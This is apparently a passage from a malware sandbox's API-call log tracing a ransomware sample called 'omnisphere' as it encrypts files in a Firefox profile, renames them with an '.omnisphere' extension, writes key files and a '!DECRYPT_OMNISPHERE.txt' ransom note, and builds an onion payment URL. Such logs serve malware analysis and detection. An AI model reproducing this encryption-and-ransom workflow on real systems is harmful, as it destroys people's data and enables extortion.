CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.298] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.298] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.298] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.298] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.298] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.299] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.299] CryptEncrypt (in: hKey=0x16395e8, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10, dwBufLen=0x10 | out: pbData=0x3e0c830*, pdwDataLen=0x3e0c844*=0x10) returned 1 [0162.299] CryptDestroyKey (hKey=0x16395e8) returned 1 [0162.300] CryptReleaseContext (hProv=0x1668240, dwFlags=0x0) returned 1 [0162.300] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x36df, lpNewFilePointer=0x0, dwMoveMethod=0x3e0cdc8 | out: lpNewFilePointer=0x0) returned 1 [0162.300] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0cddc, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0cddc*=0x524, lpOverlapped=0x0) returned 1 [0162.300] GetProcessHeap () returned 0x1600000 [0162.300] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x310) returned 0x1713118 [0162.300] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere")) returned 1 [0162.301] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere.id" [0162.302] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3b4 [0162.303] WriteFile (in: hFile=0x3b4, lpBuffer=0x3e0c87c*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0c864, lpOverlapped=0x0 | out: lpBuffer=0x3e0c87c*, lpNumberOfBytesWritten=0x3e0c864*=0x524, lpOverlapped=0x0) returned 1 [0162.304] CloseHandle (hObject=0x3b4) returned 1 [0162.304] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0162.304] CloseHandle (hObject=0x388) returned 1 [0162.304] SetEndOfFile (hFile=0x3c0) returned 1 [0162.304] FlushFileBuffers (hFile=0x3c0) returned 1 [0162.347] CloseHandle (hObject=0x3c0) returned 1 [0162.347] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\upgrade.js-20170824053622" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups") returned 1 [0162.347] GetProcessHeap () returned 0x1600000 [0162.347] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x174e858 [0162.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0162.347] GetProcessHeap () returned 0x1600000 [0162.347] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x1733478 [0162.347] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x1733478, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0162.347] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0162.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0162.348] GetProcessHeap () returned 0x1600000 [0162.348] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x1726638 [0162.348] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x1726638, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0162.348] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0162.348] GetProcessHeap () returned 0x1600000 [0162.348] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xfc) returned 0x174e520 [0162.348] PathCombineW (in: pszDest=0x174e520, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\!DECRYPT_OMNISPHERE.txt" [0162.348] GetProcessHeap () returned 0x1600000 [0162.348] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x1742d50 [0162.348] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0162.348] WriteFile (in: hFile=0x3c0, lpBuffer=0x1742d50*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0cdfc, lpOverlapped=0x0 | out: lpBuffer=0x1742d50*, lpNumberOfBytesWritten=0x3e0cdfc*=0x588, lpOverlapped=0x0) returned 1 [0162.349] CloseHandle (hObject=0x3c0) returned 1 [0162.349] GetProcessHeap () returned 0x1600000 [0162.349] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e858 | out: hHeap=0x1600000) returned 1 [0162.349] GetProcessHeap () returned 0x1600000 [0162.349] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xf2) returned 0x174e858 [0162.349] PathCombineW (in: pszDest=0x174e858, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups", pszFile="unique_decrypt.key" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key" [0162.349] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\mozilla\\firefox\\profiles\\w7cr0hor.default\\sessionstore-backups\\unique_decrypt.key"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0162.349] WriteFile (in: hFile=0x3c0, lpBuffer=0x1647c78*, nNumberOfBytesToWrite=0x5a0, lpNumberOfBytesWritten=0x3e0ce10, lpOverlapped=0x0 | out: lpBuffer=0x1647c78*, lpNumberOfBytesWritten=0x3e0ce10*=0x5a0, lpOverlapped=0x0) returned 1 [0162.349] CloseHandle (hObject=0x3c0) returned 1 [0162.349] GetProcessHeap () returned 0x1600000 [0162.350] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e858 | out: hHeap=0x1600000) returned 1 [0162.350] GetProcessHeap () returned 0x1600000 [0162.350] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x174e418 | out: hHeap=0x1600000) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x1407dfe9, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x36df, dwReserved0=0x0, dwReserved1=0xbb, cFileName="upgrade.js-20170824053622", cAlternateFileName="UPGRAD~1.JS-")) returned 0 [0162.350] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.350] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\sessionstore-backups\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41d6b4ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41d6b4ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639868 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6368e07, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x41d6b4ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41d6b4ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d1efdf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41d1efdf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41dddd6c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x588, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="!DECRYPT_OMNISPHERE.txt", cAlternateFileName="!DECRY~1.TXT")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xcd3e77da, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xcd3e77da, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x41caca24, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x245b, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="previous.js.omnisphere", cAlternateFileName="PREVIO~1.OMN")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41caca24, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41caca24, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41caca24, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="previous.js.omnisphere.id", cAlternateFileName="PREVIO~1.ID")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d1efdf, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41d1efdf, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41dddd6c, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x5a0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="unique_decrypt.key", cAlternateFileName="UNIQUE~1.KEY")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x43824196, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x43824196, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41d6b4ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x3c03, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="upgrade.js-20170824053622.omnisphere", cAlternateFileName="UPGRAD~1.OMN")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d6b4ee, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41d6b4ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41d6b4ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="upgrade.js-20170824053622.omnisphere.id", cAlternateFileName="UPGRAD~1.ID")) returned 1 [0162.350] FindNextFileW (in: hFindFile=0x1639868, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41d6b4ee, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x41d6b4ee, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x41d6b4ee, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="upgrade.js-20170824053622.omnisphere.id", cAlternateFileName="UPGRAD~1.ID")) returned 0 [0162.350] FindClose (in: hFindFile=0x1639868 | out: hFindFile=0x1639868) returned 1 [0162.351] GetProcessHeap () returned 0x1600000 [0162.351] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625bd8 | out: hHeap=0x1600000) returned 1 [0162.351] GetProcessHeap () returned 0x1600000 [0162.351] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x1625a28 | out: hHeap=0x1600000) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb7e7fd9e, ftCreationTime.dwHighDateTime=0x1d327cc, ftLastAccessTime.dwLowDateTime=0xb7e7fd9e, ftLastAccessTime.dwHighDateTime=0x1d327cc, ftLastWriteTime.dwLowDateTime=0x414c6d4e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x1957, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js.omnisphere", cAlternateFileName="SESSIO~2.OMN")) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x414c6d4e, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x414c6d4e, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x414c6d4e, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="sessionstore.js.omnisphere.id", cAlternateFileName="SESSIO~2.ID")) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x143f0f49, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x143f0f49, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x415130a9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0xc42, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiteSecurityServiceState.txt.omnisphere", cAlternateFileName="SITESE~1.OMN")) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x415130a9, ftCreationTime.dwHighDateTime=0x1d5826d, ftLastAccessTime.dwLowDateTime=0x415130a9, ftLastAccessTime.dwHighDateTime=0x1d5826d, ftLastWriteTime.dwLowDateTime=0x415130a9, ftLastWriteTime.dwHighDateTime=0x1d5826d, nFileSizeHigh=0x0, nFileSizeLow=0x524, dwReserved0=0x0, dwReserved1=0x0, cFileName="SiteSecurityServiceState.txt.omnisphere.id", cAlternateFileName="SITESE~1.ID")) returned 1 [0162.351] FindNextFileW (in: hFindFile=0x1639b28, lpFindFileData=0x3e0d358 | out: lpFindFileData=0x3e0d358*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="storage", cAlternateFileName="")) returned 1 [0162.351] GetProcessHeap () returned 0x1600000 [0162.351] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb2) returned 0x174a2b8 [0162.351] PathCombineW (in: pszDest=0x174a2b8, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default", pszFile="storage" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage" [0162.351] GetProcessHeap () returned 0x1600000 [0162.351] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb6) returned 0x174a678 [0162.351] PathCombineW (in: pszDest=0x174a678, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage", pszFile="*" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\*") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\*" [0162.351] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\*", lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName=".", cAlternateFileName="")) returned 0x1639528 [0162.351] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="..", cAlternateFileName="")) returned 1 [0162.352] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="permanent", cAlternateFileName="PERMAN~1")) returned 1 [0162.352] FindNextFileW (in: hFindFile=0x1639528, lpFindFileData=0x3e0d0ac | out: lpFindFileData=0x3e0d0ac*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0xbb, cFileName="permanent", cAlternateFileName="PERMAN~1")) returned 0 [0162.352] FindClose (in: hFindFile=0x1639528 | out: hFindFile=0x1639528) returned 1 [0162.352] FindFirstFileW (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\*", lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName=".", cAlternateFileName="")) returned 0x1639628 [0162.352] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c1abf, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c1abf, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x23c2e4c, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="..", cAlternateFileName="")) returned 1 [0162.352] FindNextFileW (in: hFindFile=0x1639628, lpFindFileData=0x3e0ce5c | out: lpFindFileData=0x3e0ce5c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x23c2e4c, ftCreationTime.dwHighDateTime=0x1d327ca, ftLastAccessTime.dwLowDateTime=0x23c2e4c, ftLastAccessTime.dwHighDateTime=0x1d327ca, ftLastWriteTime.dwLowDateTime=0x41de8bd2, ftLastWriteTime.dwHighDateTime=0x1d327ca, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x5c0074, dwReserved1=0x2a, cFileName="permanent", cAlternateFileName="PERMAN~1")) returned 1 [0162.352] GetProcessHeap () returned 0x1600000 [0162.352] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xc6) returned 0x162c118 [0162.352] PathCombineW (in: pszDest=0x162c118, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage", pszFile="permanent" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Mozilla\\Firefox\\Profiles\\w7cr0hor.default\\storage\\permanent" [0162.352] GetProcessHeap () returned 0x1600000 [0162.352] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xca) returned 0x1625a28 [0162.352] PathCombineW (in: pszDest=0x1625a28, 